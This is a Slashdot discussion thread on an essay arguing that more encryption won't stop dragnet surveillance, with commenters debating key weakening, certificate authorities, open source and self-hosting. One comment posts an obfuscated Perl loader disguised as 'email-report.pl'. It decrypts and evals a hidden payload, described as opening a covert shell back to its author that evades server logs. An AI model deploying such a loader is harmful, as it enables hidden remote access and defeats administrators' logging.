More Encryption Is Not the Solution

CowboyRobot writes "Poul-Henning Kamp argues that the 'recent exposure of the dragnet-style surveillance of Internet traffic has provoked a number of responses that are variations of the general formula: "More encryption is the solution." This is not the case. In fact, more encryption will probably only make the privacy crisis worse than it already is.' His argument takes a few turns, but centers on a scenario that is a bit too easy to imagine: a government coercing software developers into disabling their encryption: 'There are a whole host of things one could buy to weaken encryption. I would contact providers of popular cloud and "whatever-as-service" providers and make them an offer they couldn't refuse: on all HTTPS connections out of the country, the symmetric key cannot be random; it must come from a dictionary of 100 million random-looking keys that I provide. The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?). In the long run, nobody is going to notice that the symmetric keys are not random — you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'"

Comments

quick key repetition

[Dizzer]

After about 15000 connections you would see the first repetition of a key. That scheme would be discovered in NO TIME.

Re:quick key repetition

[Anonymous Coward]

There are better ways to hide the fact that the encryption was gimped:

1: Escrow parts of the private key similar to how Lotus Notes did it when ITAR was in effect, limiting RSA to 64 bits. Impossible to detect.

2: Save the D-H session keys and set them aside.

3: Force Web browser makers to add another CA (who would notice.)

4: Hose the private key generation algorithm, similar to the glitch in Ubuntu.

5: For services that supposedly save the key only on the client side (Wuala), force them to make an update that sends the password over, then another update covering tracks. This could be done for just one account, groups, or all users.

Re:quick key repetition

[shentino]

The lovely thing is that the CA would probably be forced to cooperate with this.

This is the problem with centralized encryption: single points of failure.

This general situation also reveals that the government already has us by the balls and can decrypt anyone they damn well please anyway.

Re:quick key repetition

[mprinkey]

Replace the 100 million key dictionary with a PRNG seeded with a secret key, some time information, and source/destination ports and addresses. The NSA would have the PRNG, the key, and the seeding input from the packet. They could deduce the key without much effort and the keys would appear truly random to anyone without knowledge of the secret key, no matter the sample size.

Re:quick key repetition

[icebike]

What, you think the 1% who do won't be able to get the word out to their less technical family members, who will in turn tell their friends, co-workers, bosses, etc, who will in turn tell their friends, co-workers, bosses, etc, cascading into a full-on shitstorm?

Exactly.
One guy, Snowden, a geek by anyone's definition, managed to stir up a shitstorm of monumental proportions.
People are now pissed enough, or perhaps I should say enough people are pissed, that another attempt like that would bring down the whole house of cards.

The government would probably have to engineer another terrorist attack, with mass casualties in order to induce people to demand that Congress authorize such a power grab.

Re:quick key repetition

[ls671]

mod parent up.

Just accept the cert the first time you visit the site. Just like logging in for the first time through SSH. Just check the cert/key fingerprint with an alternative manner. Just generate your own cert/keys. It indeed sounds more secure now. Do not forget, technology and information always end up leaking eventually and some criminals may end up with it faster than we think.

Re:quick key repetition

[rioki]

It actually is not a browser thing. Both IE and Chrome use the Windows built in keystore. It probably is a feature, in that some dumb users delete CAs and then complained at MS. So to fix it the keystore has an alternate list of CAs that can be loaded and updated by windows update. Firefox is sort of special in that they use their own keystore. But then again a Windows Update could also patch the FF keysotre. So basically you are using an OS you did not compile from sources (and checked the sources first) that has has an auto update feature: Hello three letter agencies.

Re:quick key repetition

[smash]

Why add another CA when you can just bribe one of the existing ones?

Re:quick key repetition

[wagnerrp]

CAs exist for authentication, not encryption. You either need central authentication, or you need to individually authorize each and every identification key from every entity you communicate with, and even then how would you know that first initial contact didn't have someone in the middle?

Call it the Fermat's Last Theorem Effect

[Anonymous Coward]

When the government notices lots of encrypted messages that can't be easily cracked by their codebreaking machines, they start to get interested. Real interested. Just like when mathematicians discovered that nobody could prove a simple theorem in high school algebra, every math Ph.D spent some time looking into that until the problem was solved.

Re:Call it the Fermat's Last Theorem Effect

[TWX]

Like bank transfers and just about all financial-services communications?

There are so many people that move around in this world that I expect good old-fashioned sneakernet with one-time pads will just become the norm, especially when time is not necessarily of the essence. When more data is needed then micro-SD will be employed, and encrypted connections will be left for when absolutely necessary.

When I was a kid, if my friends and I wanted to meet up, we had to generally all agree where we were going to meet in-advance, generally at school or when we were previously together, or a few of us had to decide and then had to manually pass the word on to others, who in-turn passed the word on to others until everyone was notified. We could coordinate and plan without "the authorities" in the form of our parents really knowing what was going on if we chose to keep them uninformed.

If the evil "they" still want to do us harm they can do it entirely offline. They proved that with how long it took to identify Osama Bin Laden's location, he avoided all outgoing traffic other than couriers and it took years to find him.

The brothers that bombed the Boston Marathon managed to avoid being caught in advance due to a typographical error. A Buttle/Tuttle type of snafu literally lead to the older brother's slipping through the cracks. Even after all of everything that happened, the younger brother was caught because a homeowner noticed some blood on his boat. Helicopters, infrared, and door-to-door searches failed to find him.

It hasn't been demonstrated satisfactorily to me that heavy encryption means that there's anything relevant to the authorities being transmitted therein.

Re:Call it the Fermat's Last Theorem Effect

[Ziest]

There you go. Poison the well. If people started generating general random bullshit, and the key here is random, the database would eventually get filled with useless data. Yes, I know their databases are measured in petabytes but the question is how much bad data can be injected into a database before the database is rendered useless, they can't tell the good from the bad. Obviously its way more than 1% and less than 75%.

The other point is that they are banking on people being creatures of habit from which patterns can be developed. During the cold war the spy agencies both in the West and the USSR developed methods, rules if you will, that their agents worked under. You hear them called "Moscow Rules". A study of these methods might be educational.

No story?

[Anonymous Coward]

No link to any story at all? Since when does Slashdot provide a private blogging platform on the front page?

Re:No story?

[Anonymous Coward]

Had to dig a little, but found it in the ACM Queue. NB: the article is about a month old.

http://queue.acm.org/detail.cfm?id=2508864

In this scenario, the endpoint is compromised.

[Arancaytar]

In that case, indeed, no amount of encryption will save you.

Re:In this scenario, the endpoint is compromised.

[Arancaytar]

(In particular, if you can put pressure on the provider, why bother forcing them to use weak encryption and then wiretapping? Forcing them to give you direct access to servers and connection data would be simpler.)

Re:In this scenario, the endpoint is compromised.

[Anonymous Coward]

It has to be emphasised that this therefore DOES NOT lead to the conclusion "More Encryption Is Not the Solution". The (as of yet unlinked) article is wrong on a fundamental level if this is what it tries to argue.

Re:In this scenario, the endpoint is compromised.

[Anonymous Coward]

This is actually what the NSA is doing, they require Google/Microsoft/Yahoo/etc as well as ISPs / telcos provide them a room where traffic goes after it's been decrypted. They get all the data in plaintext, so they don't have to worry about it. Use google drive, gmail, skydrive, hotmail, etc? All your data has been turned over already.

Re:In this scenario, the endpoint is compromised.

[phantomfive]

Yeah, no one is going to do something tricky about non-random keys (and I do think someone would eventually notice).

All the government does is say, "give us your data." It's much easier, and effective.

Re:In this scenario, the endpoint is compromised.

[DuckDodgers]

Right. This "More Encryption is Not the Answer" assumes everyone continues to use the big cloud corporations for the data.

If I host my own email and use PGP, host my own distributed social network instance, browse the internet through Tor, use Yacy for search where possible, etc... then all I have to do is ensure my SSL certificate is valid (or use a self-signed one but find a secure way to distribute the signature to my friends). I can do that, the problem is that Johnny Public doesn't care to do it.

Which leads me to the conclusion that the solution to the NSA problem isn't a political one, it's an engineering one. It's a huge engineering problem, but the cynic in me says the open source community will get far more accomplished with regards to reigning in government surveillance than our elected officials.

Serve yourself.

[intermodal]

You don't honestly think I liked all that hand-editing and drudging through man files and so on that I had to do to run Linux when I switched twelve years ago, do you? I switched because I knew that the major vendors couldn't be trusted, and that I needed to learn systems that weren't shielded from users auditing them and securing them outside the scope of what was marketable.

Today, I no longer need to rely on major software and service venders for most things. That puts me ahead of the game. Of course, it's only as good as the services I provide for myself, and the security of the ones I use outside my own.

Re:Serve yourself.

[Shoten]

You don't honestly think I liked all that hand-editing and drudging through man files and so on that I had to do to run Linux when I switched twelve years ago, do you? I switched because I knew that the major vendors couldn't be trusted, and that I needed to learn systems that weren't shielded from users auditing them and securing them outside the scope of what was marketable.

Today, I no longer need to rely on major software and service venders for most things. That puts me ahead of the game. Of course, it's only as good as the services I provide for myself, and the security of the ones I use outside my own.

And yet, you're posting on Slashdot. Buying things from Amazon, probably, and banking online as well too. Did you build your cell phone from scratch, and validate all the systems of your cellular provider as well? If you run Ubuntu..or Debian...or Redhat, how will you be sure that the binaries you're getting from apt-get or RPM are the ones that match the source code you can read with your own eyes? (Keep in mind that last month there was a Slashdot article that pointed out the difficulty of getting the exact same binaries produced from the same source code, based on variances on the machines that do the compiling and the optimization flags...so forget about compiling your own binaries and just comparing the hash/filesize tuple.) For that matter, if you're using Gentoo will you read ALL of the source code all over again every time there's an update? What you say sounds great in theory, but in practice I don't believe you're as self-sufficient as you think you are.

Oh, and I remember doing all of that editing and reading of man files too...but I never would have spotted code that was meant to weaken crypto. Editing a config file or reading a man file does not equal a proper code audit.

What's really scary to me about the proposed scenario is this: not only does it plausibly describe a situation where the common man's privacy and security are jeopardized, in that scenario the truly bad guys...the ones who WOULD really be more self-sufficient...would run their own systems to some degree and be outside the scope of much of the tainted encryption. This is much as it was back when our government forbade export of strong crypto; the bad guys got it anyways, and the good guys were kept from using it in many situations.

Re:Serve yourself.

[Anonymous Coward]

Your mistake is to think in absolutes. It is not because you have multiple non anonymous parts of your life that you should give up on protecting whatever you can of your privacy.

Yes, certainly you are not 100% safe, but an open source OS will be messed with by a large number of people and anyone who finds an irregularity will raise the flag. You cannot have a certainty of security, but you certainly have a lot more chance of detecting misdeeds than with closed source.

Re:Serve yourself.

[Shoten]

Your mistake is to think in absolutes. It is not because you have multiple non anonymous parts of your life that you should give up on protecting whatever you can of your privacy.

Yes, certainly you are not 100% safe, but an open source OS will be messed with by a large number of people and anyone who finds an irregularity will raise the flag. You cannot have a certainty of security, but you certainly have a lot more chance of detecting misdeeds than with closed source.

I think you're missing the point of surveillance and how it works. Surveillance is about interaction between multiple people...who speaks to whom, what is said, transactions between organizations, etc. What you run at home is of no real consequence whatsoever; what is monitored is not what stays inside your own computer. You can have totally secure code at your end, but if the key generation at the other end is in some way compromised, so is all crypto that is supposed to protect your communications with that endpoint. And in the scenario described here, that's exactly the situation.

I would hasten to point out that even now, the surveillance has absolutely no dependency whatsoever on closed source code; the providers are the source of the monitoring, not the software itself. There's no need to go through all the trouble of trying to get code inserted into all those different pieces of software; just go to about a dozen different companies, twist their arms, and at least 95% of the online population will interact with one of them. Add that to monitoring of cellular providers, traffic analysis of backbone providers, and you've got a really rich feed of information...all without a single line of code put into anyone's endpoint systems at home.

The solution is Global Mesh Networking

[ClassicASP]

Decentralize the internet and make it run such that there are no "providers". All internet is available where participants are willing to use it and make it available to others, and all traffic flows in the path of least resistance. Users can also flag and blacklist participants who look suspiciously like big brother, so they get skipped in the chain of communication.

Links or it didn't happen

[zacs]

It would be super cool if there was some kind of technology that allowed you to provide a link to the source material for discussion...

http://queue.acm.org/detail.cfm?id=2508864

Complete idiocy

[Anonymous Coward]

In other news, locks do not work if someone gains a copy of your key. Therefore more locks are not the solution, and locks actually harm security!

Wait...what?

This is complete rubbish. Of course encryption doesn't work if you are trusting a giant cloud corp. not to have a man on the inside corrupting the encryption process.

That is the exact reason why more encryption is the answer! People need to be taking the issue into their own hands, using their own (open source) personal or community-driven encryption schemes that are provably secure. Trusting a giant corp. to generate your keys for you and presuming that is THE ONLY WAY encryption can work is such fantastically F.U.D I don't even know where to begin.

Re:Complete idiocy

[elewton]

Setting up GPG is easy. The difficulties associated with secure key management increase significantly with time.

Re:Complete idiocy

[black3d]

I use the cloud for data backups extensively, however the data I upload I've already encrypted myself. I always considered this the only sane way to use cloud data storage securely. The author is either an idiot or a plant. More encryption IS the answer.

better title:some common encryption practices suck

[ron_ivi]

Encryption isn't fundementally the problem here.

The problem is insecure distribution and control of private keys. (i.e. https that depends on trusting Certificate Authorities that appear easy to abuse by governments).

Better solutions could exist --- for example if HTTPS would only work after checking both certificates from a "trusted" certificate authority *and* a self-signed cert. That way all you rely on is that the CA wasn't compromised when you first exchanged the keys for the self-signed cert. Once that happens, even if a CA cooperates with an oppressive regime later, the self-signed cert would keep you safe.

Dumb and dumber

[mbone]

"...you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong."

Why should you trust certificate authorities? Do you even know who all your certificate authorities are? I think that this confuses trust for assignment of liability. A CA is good for making sure that someone else is liable if you put your credit card number in a web site shopping page and it gets stolen, and it helps make prevent some guy sitting in Starbucks from stealing credit card numbers, but as far as trust, I don't think it does a thing.

And, guess what, people do do things like scrutinize the key material in many thousands of connections. And, if they don't, as soon as the next Snowden leaks what's going on, they will.

Re:better title:some common encryption practices s

[0123456]

Uh, no.

The problem is that the government leans on the server you're talking to and gets your data after it's decrypted.

No amount of encryption can fix that, but the idea that more encryption is not part of the solution is just silly. Obviously it eliminates one means of eavesdropping on your communications.

So, more OPENSOURCE encryption?

[morcego]

This has nothing to do with encryption, and has everything with software you can't audit and verify yourself is secure.

I mean, do you really think it is that unlikely there are backdoors and/or monitoring hooks in your Cisco router? Or your Linksys AP? Or whatever?

The moment you trust blindly, be it the government or companies in a position to be influenced by others, you are putting yourself at risk.

Saying this is a cryptography issue, and not a "blackbox" issue, makes me wonder about ulterior motives...

Re:Interesting quote about OSS project

[Qzukk]

I think he's referring to when Debian did exactly this to their openssl library.

It took two years for anyone to notice.

Re:The NSA says never encrypt...

[hawguy]

Microsoft can simply request your graphics card to take regular snapshots of your screen, and you will never know this because the message stream to the GPU (for protected path functions) is encrypted with protected path control keys. A full screen JPG is quite a small file even for a high-resolution screen, and can be sneaked out to an NSA server with you standing ZERO chance of noticing the traffic blip

I took a full screen snapshot of my 1920x1080 screen (maximized browser window with this Slashdot page loaded, so there's a lot of white space on the screen) and saved it as a JPG. The size of the default quality JPG was 480KB (which looked about the same as the corresponding PNG which was only 275KB). I created JPG's of decreasing quality until the text became mostly illegible, that happened at a quality level of "7" (on a scale of 1 - 100 with 100 being the best). The resulting JPG ended up being 95KB in size.

That's not exactly what I could call "quite a small file", and though many people wouldn't notice that size file going out periodically (every hour? every minute?), it's big enough that some would - especially paranoid people that are worried about someone spying on them. 95KB sent out every minute would be around 15kbit/second on average, so it's definitely enough to be noticable.

Re:Passwords don't work either

[interval1066]

All too true, people don't want to bother with any effort for a return they really can't see. Its hard to appreciate encryption when the effects of opentext on their private lives is difficult to impossible to gauge. Until they get hit. After a small dns server I ran got hit, I didn't really pay much attention to it either. 10 years on I still cover my tracks whenever possible, encrypt my drives (linux and truecrypt make this pretty easy), prefer encrypted smtp providers, and ask people I correspond with for their public encryption key. If they ask me what that is I explain it to them. If they say they don't care then I move on, but if they express interest I help them set up. If they say "no one uses that" I show them that I do, many of my friends do, and to look at the news lately. Its in everyone's interest to manage their privacy. If you are into managing your life like a business then its just another procedure to add to your list. If not, well, I wouldn't want to be you.

keyspace negawatts

[epine]

This particular scenario is rubbish.

It's weird that PHK framed it this way, but he's on the right track, regardless. Compromised entropy is one of the largest persistent attack surfaces in the state surveillance war. It's darn hard to notice when your client-side random key is leaking key space from prior exchanges, unless we're all running perfectly vetted software every day of the week and twice on Sunday and nothing bad ever happens to the golden master distribution chain. Developers never lose their private keys ...

From the dark side, at Borg scale, it's a slow war of attrition. The more they know about you, the better their guesses become. Suppose they gain possession of a dozen of your passwords from the least upstanding corporations you deal with. Your passwords have zero cross-entropy, right? Every password entirely unconditioned on any other password you've ever used?

And it if turns our you're a member of the 0.01% who uses distinct, randomly generated sixteen-character password strings for every site, so much the better to target you with other methods.

This isn't a battle over the yield strength of the titanium crypto primitives. It's a battle over the total burden. Every person who re-uses the same password a dozen times is that much less computation. Password cracking is like Type II b muscle fiber. It's the muscle fiber of last resort, that one your body activates to lift an overturned car off your child after a crash. Traffic analysis is Type I muscle fiber, the fiber you can use all day long, day after day.

That big hassle with the self-signed certs (which are needed for authentication) significantly thinned the default use of strong encryption for simple privacy. These did not need to be tied together as they were. Because the use of encryption stands out and the connectivity graph is below the percolation threshhold, it becomes hard to set up covert onion routers.

The focus on encryption strength is mostly red herring to distract us from the real agenda, which is keeping the general run of affairs extremely sloppy. The whole surveillance apparatus depends on the bulk manufacture of negawatts (shedding keyspace) in dribbs and drabbs by various murky political means. It's not a hard war, it's a soft war.

The answer is to teach kids to be programers.

[VortexCortex]

Then they don't need to rely on anyone else to create encryption systems or key exchanges.

Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl

#!/usr/bin/perl -w
use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
!defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
@{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
$J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
$E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
$O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
{exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
$Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
$U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
);my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
{exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
__DATA__
4e45266f48ed8d...
Snipped, see link, not that it'll do you any good without the key.
I'd give you the key, but running arbitrary enciphered code is ill advised...

What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.

Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.

Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it

Server doesn't create the session key

[swillden]

Umm... you should go re-read the SSL/TLS specs. The server doesn't get to dictate the session key.

The session key (AKA master key) is computed from a "pre-master" secret key and two random numbers, one provided by client the other from the server. Both sides perform this computation independently, and the server has no control over the client random -- nor the client over the server random. Also, the pre-master secret is either generated entirely by the client, or else generated through a Diffie Hellman key agreement protocol, which again involves input from both sides.

There may be other attacks, but the one described in the summary doesn't work.

Link to TFA

[sl4shd0rk]

http://queue.acm.org/detail.cfm?id=2508864

Defense in Depth, and Better Tech

[Above]

Encryption is not the solution but it is part of the solution.

Relying on any one method to make snooping hard makes for a simple target. Encryption alone will not fix the problem for the reasons stated. For instance, make your e-mail transport over SSL and they will just read it on the server. So you need e-mail over SSL and PGP encrypted e-mail content. Breaking just one of the encryption methods would not be sufficient.

Better technology is also needed though. What we have today is effectively pre-shared keys at the root of the certificate chain, which lead to this attack. Perfect Forward Secrecy is a step in the right direction, but not sufficient. We need to develop methods that either don't have any pre-shared keys, or if we have to use them require n of m, where each is controlled by a different regime preventing any one from compromising the system.

However, ubiquitous encryption would be a good first step, and I think raise the bar in an interesting world even if it is not perfect.

Re:Disturbing

[MrNaz]

The answer: Don't use cloud.
OwnCloud. Zimbra. Jitsi. OpenSIP. All of these allow for strong encryption.

What do we need commercial cloud services for again?